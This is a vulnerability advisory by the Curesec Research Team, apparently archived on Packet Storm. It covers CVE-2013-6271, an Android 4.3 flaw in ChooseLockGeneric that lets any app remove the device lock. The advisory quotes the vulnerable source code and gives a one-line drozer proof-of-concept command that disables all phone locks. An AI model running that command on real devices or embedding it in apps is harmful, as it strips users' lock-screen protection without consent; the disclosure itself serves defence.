what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

AndroidOS 4.3 Permission Bypass

AndroidOS 4.3 Permission Bypass
Posted Nov 29, 2013
Authored by Curesec Research Team

AndroidOS version 4.3 suffers from a permission bypass vulnerability.

tags | advisory, bypass
advisories | CVE-2013-6271
SHA-256 | aaeba62be4fd6673451716fbb121574a7bc44ecd952c19edfd48488e84ae54b1

AndroidOS 4.3 Permission Bypass

Change Mirror Download
CVE-2013-6271: Security Advisory – Curesec Research Team

1. Introduction
Advisory ID: Cure-2013-1011
Advisory URL: https://www.curesec.com/
Affected Product: AndroidOS 4.3 / com.android.settings
Affected Systems: Android
Fixed in: N/A
Fixed Version Link: N/A
Vendor Contact: security@android.com
Vulnerability Type: Permission Bypass / Design Error
Remote Exploitable: No
Reported to vendor: 11.10.2013
Disclosed to public: 27.11.2013
CVE: CVE-2013-6271
Credentials: crt@curesec.com

2. Vulnerability Description

The vulnerability described here enables any rouge app at any time to
remove all existing device locks activated by an user. Curesec disclosed
this vulnerability as Google Android Security Team was not responding
any more about this issue.

The bug exists on the “com.android.settings.ChooseLockGeneric class”.
This class is used to allow the user to modify the type of lock
mechanism the device should have. Android implements several locks, like
pin, password, gesture and even face recognition to lock and unlock a
device. Before a user can change these settings, the device asks the
user for confirmation of the previous lock (e.x. If a user wants to
change the pin or remove it it has to first enter the previou pin).

Lets examine the following code extracted from the class:

// Defaults to needing to confirm credentials
<span style="background-color: #21e901;">final boolean
confirmCredentials = getActivity().getIntent()</span>
<span style="background-color:
#21e901;">.getBooleanExtra(CONFIRM_CREDENTIALS, true);</span>
<span style="background-color: #21e901;">mPasswordConfirmed
= !confirmCredentials;</span>

if (savedInstanceState != null) {
mPasswordConfirmed =
savedInstanceState.getBoolean(PASSWORD_CONFIRMED);
mWaitingForConfirmation =
savedInstanceState.getBoolean(WAITING_FOR_CONFIRMATION);
mFinishPending =
savedInstanceState.getBoolean(FINISH_PENDING);
}

if (mPasswordConfirmed) {
<span style="background-color:
#21e901;">updatePreferencesOrFinish</span>();
}
…...
private void updatePreferencesOrFinish() {
Intent intent = getActivity().getIntent();
int quality =
intent.getIntExtra(LockPatternUtils.PASSWORD_TYPE_KEY, -1);
if (quality == -1) {
// If caller didn't specify password quality, show UI
and allow the user to choose.
quality = intent.getIntExtra(MINIMUM_QUALITY_KEY, -1);
MutableBoolean allowBiometric = new MutableBoolean(false);
quality = upgradeQuality(quality, allowBiometric);
final PreferenceScreen prefScreen = getPreferenceScreen();
if (prefScreen != null) {
prefScreen.removeAll();
}
addPreferencesFromResource(R.xml.security_settings_picker);
disableUnusablePreferences(quality, allowBiometric);
} else {
<span style="background-color:
#21e901;">updateUnlockMethodAndFinish</span>(quality, false);
}
}

…...
void updateUnlockMethodAndFinish(int quality, boolean disabled) {
// Sanity check. We should never get here without confirming
user's existing password.
if (!mPasswordConfirmed) {
throw new IllegalStateException("Tried to update
password without confirming it");
}

final boolean isFallback = getActivity().getIntent()

.getBooleanExtra(LockPatternUtils.LOCKSCREEN_BIOMETRIC_WEAK_FALLBACK,
false);

quality = upgradeQuality(quality, null);

if (quality >=
DevicePolicyManager.PASSWORD_QUALITY_NUMERIC) {
int minLength = mDPM.getPasswordMinimumLength(null);
if (minLength < MIN_PASSWORD_LENGTH) {
minLength = MIN_PASSWORD_LENGTH;
}
final int maxLength =
mDPM.getPasswordMaximumLength(quality);
Intent intent = new Intent().setClass(getActivity(),
ChooseLockPassword.class);
intent.putExtra(LockPatternUtils.PASSWORD_TYPE_KEY,
quality);
intent.putExtra(ChooseLockPassword.PASSWORD_MIN_KEY,
minLength);
intent.putExtra(ChooseLockPassword.PASSWORD_MAX_KEY,
maxLength);
intent.putExtra(CONFIRM_CREDENTIALS, false);

intent.putExtra(LockPatternUtils.LOCKSCREEN_BIOMETRIC_WEAK_FALLBACK,
isFallback);
if (isFallback) {
startActivityForResult(intent, FALLBACK_REQUEST);
return;
} else {
mFinishPending = true;
intent.addFlags(Intent.FLAG_ACTIVITY_FORWARD_RESULT);
startActivity(intent);
}
} else if (quality ==
DevicePolicyManager.PASSWORD_QUALITY_SOMETHING) {
Intent intent = new Intent(getActivity(),
ChooseLockPattern.class);
intent.putExtra("key_lock_method", "pattern");
intent.putExtra(CONFIRM_CREDENTIALS, false);

intent.putExtra(LockPatternUtils.LOCKSCREEN_BIOMETRIC_WEAK_FALLBACK,
isFallback);
if (isFallback) {
startActivityForResult(intent, FALLBACK_REQUEST);
return;
} else {
mFinishPending = true;
intent.addFlags(Intent.FLAG_ACTIVITY_FORWARD_RESULT);
startActivity(intent);
}
else if (quality ==
DevicePolicyManager.PASSWORD_QUALITY_BIOMETRIC_WEAK) {
Intent intent = getBiometricSensorIntent();
mFinishPending = true;
startActivity(intent);
} <span style="background-color: #ffff00;">else if (quality
== DevicePolicyManager.PASSWORD_QUALITY_UNSPECIFIED) {</span>
<span style="background-color:
#ffff00;">mChooseLockSettingsHelper.utils().clearLock(false);</span>
<span style="background-color:
#ffff00;">mChooseLockSettingsHelper.utils().setLockScreenDisabled(disabled);</span>
<span style="background-color:
#ffff00;">getActivity().setResult(Activity.RESULT_OK);</span>
<span style="background-color: #ffff00;">finish();</span>
} else {
finish();
}
}

This first piece of code allows the caller to actually control if the
confirmation to change the lock mechanism is enable or not. We can
control the flow to reach the updatePreferencesOrFinish() method and see
that IF we provide a Password Type the flow continues to
updateUnlockMethodAndFinish(). Above we can see that IF the password is
of type PASSWORD_QUALITY_UNSPECIFIED the code that gets executed and
effectively unblocks the device.

As a result any rouge app can at any time remove all existing locks.

3. Proof of Concept Codes

For verification you can use drozer and test the following.

#Disable all phone locks
run app.activity.start --component com.android.settings
com.android.settings.ChooseLockGeneric --extra boolean
confirm_credentials false --extra integer "lockscreen.password_type" 0


5. Report Timeline

11.10.2013 Informed Vendor about Issue
12.10.2013 Mail from Vendor
18.10.2013 Mail to vendor, if any feedback exists, no response
11.11.2013 Mail to vendor, if any feedback exists, no response
19.11.2013 Mail to vendor, if any feedback exists, no response

Login or Register to add favorites

File Archive:

July 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    27 Files
  • 2
    Jul 2nd
    10 Files
  • 3
    Jul 3rd
    35 Files
  • 4
    Jul 4th
    27 Files
  • 5
    Jul 5th
    18 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    28 Files
  • 9
    Jul 9th
    44 Files
  • 10
    Jul 10th
    24 Files
  • 11
    Jul 11th
    25 Files
  • 12
    Jul 12th
    11 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    28 Files
  • 16
    Jul 16th
    6 Files
  • 17
    Jul 17th
    34 Files
  • 18
    Jul 18th
    6 Files
  • 19
    Jul 19th
    34 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close